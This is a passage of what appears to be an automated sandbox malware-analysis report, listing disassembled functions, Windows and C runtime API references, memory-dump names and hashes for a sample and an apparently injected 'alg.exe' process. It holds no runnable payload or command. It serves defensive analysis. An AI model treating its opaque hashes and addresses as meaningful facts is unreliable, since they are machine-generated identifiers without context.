__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EntryPoint.YMAFVVDS(80070057), ref: 004017EE

Part of subcall function 00401030: RaiseException.KERNEL32(-0000000113D97C15,00000001,00000000,00000000,00000015,2C2D8410), ref: 0040101C
Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030

EntryPoint.YMAFVVDS(80070057), ref: 00401800
EntryPoint.YMAFVVDS(80070057), ref: 00401813
__recalloc.LIBCMT ref: 00401828
EntryPoint.YMAFVVDS(8007000E), ref: 00401839
EntryPoint.YMAFVVDS(8007000E), ref: 00401853
_calloc.LIBCMT ref: 00401861

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
String ID:
API String ID: 1721462702-0
Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(00422910), ref: 00414050

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1572297626.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1572297626.000000000054A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_ymafvvdS.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Analysis Process: alg.exePID: 7276, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	97.6%
Signature Coverage:	9.6%
Total number of Nodes:	83
Total number of Limit Nodes:	5

Executed Functions

Function 004C0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 004C03E0

Memory Dump Source

Source File: 0000000C.00000002.2675604019.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a0000_alg.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 50fb018fb414dfaef4ce8b5813ed76c5dafec3114e629dc7deaeeb645d738a5c
Instruction ID: 0df75b0f3e7a9f6b47911572c58d1ce1b0426e276e3b5715d4a695722b51c6fa
Opcode Fuzzy Hash: 50fb018fb414dfaef4ce8b5813ed76c5dafec3114e629dc7deaeeb645d738a5c
Instruction Fuzzy Hash: 12D11735518F09CBC7A8EF58D845BEAB7D1FBA0310F18461FD846C3264DA78DA458ACB

Function 004A52A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 004A53C4

Memory Dump Source

Source File: 0000000C.00000002.2675604019.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a0000_alg.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 5c2eebae1930c836f5ab933412e7c3180a40499b89c862095b54e74288c17e3a
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 88412B5240DE958FDB26422457243767BA0AB773E2F9D04D7D883CB2E2D19C0C86972F

Function 004A8070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2675604019.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a0000_alg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf7e178ce7ef8c8b8ed7a0a6b190087b473b65ce30721fb285446cac81d704f7
Instruction ID: bbed80a22702128bee11be346f0823842681b1d387ef945bcc9606c69e636c07
Opcode Fuzzy Hash: cf7e178ce7ef8c8b8ed7a0a6b190087b473b65ce30721fb285446cac81d704f7
Instruction Fuzzy Hash: D3611F3260CA458FDB659B28881833B7AA0FB77350F59469FE446C32A1DF2C8C46934F

Function 004A5910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2675604019.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a0000_alg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90e7e2e724923c4c3215ef0cf0bb56b8834fac7198073354a1960af46dae333
Instruction ID: 371faf2ebadcca8ad16299331dc2f6f163353655e7d42fdd3bfb511cec95f06a
Opcode Fuzzy Hash: e90e7e2e724923c4c3215ef0cf0bb56b8834fac7198073354a1960af46dae333
Instruction Fuzzy Hash: 50F15A2571CE488FC6A9A71D5845BBBB3D2E7AA314F58019FD04AC7397CD2C9C06839E

Function 004A5B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2675604019.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a0000_alg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e621a31e3968f1923c5a392cbe1e15984b311d240008ef38e05b1dbcaa09ae1e
Instruction ID: b13c497299f946aa079adac70c4b8f9398f49dbdae51e28fe364947126b322f7
Opcode Fuzzy Hash: e621a31e3968f1923c5a392cbe1e15984b311d240008ef38e05b1dbcaa09ae1e
Instruction Fuzzy Hash: 0321B53020CF44CFDB699B18964877666E1AB77321F6841A79047CF39AD62CDC45932E

Function 004A5B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2675604019.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a0000_alg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 10e0d821a3f27bdcc91b59c4cd297bf2c0de565faee117d50b4f3b522f3ae712
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 7F01D23010DF468FEB5556249F1837A7B90AB37335F2501ABC487CA199DB6C4A02E71F

Function 004A5B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 004A5B90
CreateThread.KERNELBASE ref: 004A5CDF

Memory Dump Source

Source File: 0000000C.00000002.2675604019.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a0000_alg.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: 57bb9503ac938590158324a2601c14b03017ce0d62d7cd7c0eaec2068d7395d5
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 37E0863060DB444FDB599B2459103193AE5FBAA321F1501CFC44AD72D5CB6D1E06879B

Function 004A599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 004A59D9

Memory Dump Source

Source File: 0000000C.00000002.2675604019.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a0000_alg.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 8e94e48f973075b9c3d4ec6308a445e85aa06e16b06886589236a1baba8d32d8
Instruction ID: d24eec7d88b9027c1db6372d8c45e599d3f6b57bc1e515dcbfcc1af5edf1a993
Opcode Fuzzy Hash: 8e94e48f973075b9c3d4ec6308a445e85aa06e16b06886589236a1baba8d32d8
Instruction Fuzzy Hash: C001F2E160EE80CFD656A618530127B655AB77B324F28459B904ACF2A2C82C4D02938F

Function 004A8090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 004A8186

Memory Dump Source

Source File: 0000000C.00000002.2675604019.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a0000_alg.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: aa79c47f8817bf1c0211969f4e1b0d704a2f0899b2a208951fff69cd6a09c941
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 09C08C7122A80A96527802880C0B0F22600E233358B0C000F8C0280320DD4C8E03209F

Function 004A817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 004A8186

Memory Dump Source

Source File: 0000000C.00000002.2675604019.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a0000_alg.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: a10458964d86b8a0352008fec25544c7925d33f538bd2d4dbd5fbb17c9e9604b
